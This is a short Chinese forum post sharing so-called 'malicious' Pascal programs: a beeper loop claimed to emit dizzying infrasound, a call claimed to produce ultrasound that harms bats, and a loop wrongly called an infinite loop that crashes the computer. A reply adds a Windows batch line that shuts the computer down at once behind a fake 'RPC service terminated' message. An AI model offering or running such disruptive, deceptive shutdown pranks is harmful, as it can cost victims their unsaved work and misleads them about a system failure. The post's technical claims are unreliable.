pascal恶意程序

次声波
program jack(input,output);
uses
crt;
begin
repeat
sound(5);
delay(1000); {播放1000毫秒，即1秒）
until false;
nosound;
end.

此程序用Turbo Pascal Compiler编译就是从主机蜂鸣器里发次声，如果用Free Pascal Compiler编译就是从音箱中发次声，虽然能量很弱，但是只运行5秒过一会儿头就晕

uses crt;
begin
sound(50000);
end.

让电脑发超声波，附件的蝙蝠就惨了，呵呵。
绝对的恶意。

program jack;
begin
repeat
until true;
end.

著名的死循环，电脑死机。

要它干吗？恶意程序，又没用的~算了，给你吧，不过别乱用！
http://blog.cfan.com.cn/index.php/305663/action_viewspace_itemid_71533

========================
我试过，可以用的,绝对的恶意

恶意软件编好了，是不是直接开始运行？如果要停止怎么办？

我不太会编pascal,但我会编*.BAT文件:

打开记事本,输入以下字符:

shutdown -s -t 0 -c "Remote Procedure Call (RPC)服务中止，Windows即将关闭"

将本文件存盘,将{文件名}.txt改为{文件名}.bat即可.